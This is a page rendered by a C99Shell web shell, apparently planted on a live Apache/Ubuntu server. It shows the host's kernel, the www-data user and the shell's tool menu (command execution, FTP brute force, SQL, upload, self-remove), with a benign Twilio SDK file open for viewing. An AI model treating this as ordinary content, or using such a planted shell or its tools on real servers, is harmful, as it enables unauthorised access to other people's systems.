!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/twilio/sdk/src/Twilio/Rest/Chat/V2/Service/   drwxr-xr-x
Free 12.95 GB of 57.97 GB (22.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UserOptions.php (7.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This code was generated by
 * \ / _    _  _|   _  _
 * | (_)\/(_)(_|\/| |(/_  v1.0.0
 * /       /
 */

namespace Twilio\Rest\Chat\V2\Service;

use 
Twilio\Options;
use 
Twilio\Values;

abstract class 
UserOptions {
    
/**
     * @param string $roleSid The SID of the Role assigned to this user
     * @param string $attributes A valid JSON string that contains
     *                           application-specific data
     * @param string $friendlyName A string to describe the new resource
     * @param string $xTwilioWebhookEnabled The X-Twilio-Webhook-Enabled HTTP
     *                                      request header
     * @return CreateUserOptions Options builder
     */
    
public static function create(string $roleSid Values::NONEstring $attributes Values::NONEstring $friendlyName Values::NONEstring $xTwilioWebhookEnabled Values::NONE): CreateUserOptions {
        return new 
CreateUserOptions($roleSid$attributes$friendlyName$xTwilioWebhookEnabled);
    }

    
/**
     * @param string $roleSid The SID id of the Role assigned to this user
     * @param string $attributes A valid JSON string that contains
     *                           application-specific data
     * @param string $friendlyName A string to describe the resource
     * @param string $xTwilioWebhookEnabled The X-Twilio-Webhook-Enabled HTTP
     *                                      request header
     * @return UpdateUserOptions Options builder
     */
    
public static function update(string $roleSid Values::NONEstring $attributes Values::NONEstring $friendlyName Values::NONEstring $xTwilioWebhookEnabled Values::NONE): UpdateUserOptions {
        return new 
UpdateUserOptions($roleSid$attributes$friendlyName$xTwilioWebhookEnabled);
    }
}

class 
CreateUserOptions extends Options {
    
/**
     * @param string $roleSid The SID of the Role assigned to this user
     * @param string $attributes A valid JSON string that contains
     *                           application-specific data
     * @param string $friendlyName A string to describe the new resource
     * @param string $xTwilioWebhookEnabled The X-Twilio-Webhook-Enabled HTTP
     *                                      request header
     */
    
public function __construct(string $roleSid Values::NONEstring $attributes Values::NONEstring $friendlyName Values::NONEstring $xTwilioWebhookEnabled Values::NONE) {
        
$this->options['roleSid'] = $roleSid;
        
$this->options['attributes'] = $attributes;
        
$this->options['friendlyName'] = $friendlyName;
        
$this->options['xTwilioWebhookEnabled'] = $xTwilioWebhookEnabled;
    }

    
/**
     * The SID of the [Role](https://www.twilio.com/docs/chat/rest/role-resource) to assign to the new User.
     *
     * @param string $roleSid The SID of the Role assigned to this user
     * @return $this Fluent Builder
     */
    
public function setRoleSid(string $roleSid): self {
        
$this->options['roleSid'] = $roleSid;
        return 
$this;
    }

    
/**
     * A valid JSON string that contains application-specific data.
     *
     * @param string $attributes A valid JSON string that contains
     *                           application-specific data
     * @return $this Fluent Builder
     */
    
public function setAttributes(string $attributes): self {
        
$this->options['attributes'] = $attributes;
        return 
$this;
    }

    
/**
     * A descriptive string that you create to describe the new resource. This value is often used for display purposes.
     *
     * @param string $friendlyName A string to describe the new resource
     * @return $this Fluent Builder
     */
    
public function setFriendlyName(string $friendlyName): self {
        
$this->options['friendlyName'] = $friendlyName;
        return 
$this;
    }

    
/**
     * The X-Twilio-Webhook-Enabled HTTP request header
     *
     * @param string $xTwilioWebhookEnabled The X-Twilio-Webhook-Enabled HTTP
     *                                      request header
     * @return $this Fluent Builder
     */
    
public function setXTwilioWebhookEnabled(string $xTwilioWebhookEnabled): self {
        
$this->options['xTwilioWebhookEnabled'] = $xTwilioWebhookEnabled;
        return 
$this;
    }

    
/**
     * Provide a friendly representation
     *
     * @return string Machine friendly representation
     */
    
public function __toString(): string {
        
$options \http_build_query(Values::of($this->options), ''' ');
        return 
'[Twilio.Chat.V2.CreateUserOptions ' $options ']';
    }
}

class 
UpdateUserOptions extends Options {
    
/**
     * @param string $roleSid The SID id of the Role assigned to this user
     * @param string $attributes A valid JSON string that contains
     *                           application-specific data
     * @param string $friendlyName A string to describe the resource
     * @param string $xTwilioWebhookEnabled The X-Twilio-Webhook-Enabled HTTP
     *                                      request header
     */
    
public function __construct(string $roleSid Values::NONEstring $attributes Values::NONEstring $friendlyName Values::NONEstring $xTwilioWebhookEnabled Values::NONE) {
        
$this->options['roleSid'] = $roleSid;
        
$this->options['attributes'] = $attributes;
        
$this->options['friendlyName'] = $friendlyName;
        
$this->options['xTwilioWebhookEnabled'] = $xTwilioWebhookEnabled;
    }

    
/**
     * The SID of the [Role](https://www.twilio.com/docs/chat/rest/role-resource) to assign to the User.
     *
     * @param string $roleSid The SID id of the Role assigned to this user
     * @return $this Fluent Builder
     */
    
public function setRoleSid(string $roleSid): self {
        
$this->options['roleSid'] = $roleSid;
        return 
$this;
    }

    
/**
     * A valid JSON string that contains application-specific data.
     *
     * @param string $attributes A valid JSON string that contains
     *                           application-specific data
     * @return $this Fluent Builder
     */
    
public function setAttributes(string $attributes): self {
        
$this->options['attributes'] = $attributes;
        return 
$this;
    }

    
/**
     * A descriptive string that you create to describe the resource. It is often used for display purposes.
     *
     * @param string $friendlyName A string to describe the resource
     * @return $this Fluent Builder
     */
    
public function setFriendlyName(string $friendlyName): self {
        
$this->options['friendlyName'] = $friendlyName;
        return 
$this;
    }

    
/**
     * The X-Twilio-Webhook-Enabled HTTP request header
     *
     * @param string $xTwilioWebhookEnabled The X-Twilio-Webhook-Enabled HTTP
     *                                      request header
     * @return $this Fluent Builder
     */
    
public function setXTwilioWebhookEnabled(string $xTwilioWebhookEnabled): self {
        
$this->options['xTwilioWebhookEnabled'] = $xTwilioWebhookEnabled;
        return 
$this;
    }

    
/**
     * Provide a friendly representation
     *
     * @return string Machine friendly representation
     */
    
public function __toString(): string {
        
$options \http_build_query(Values::of($this->options), ''' ');
        return 
'[Twilio.Chat.V2.UpdateUserOptions ' $options ']';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--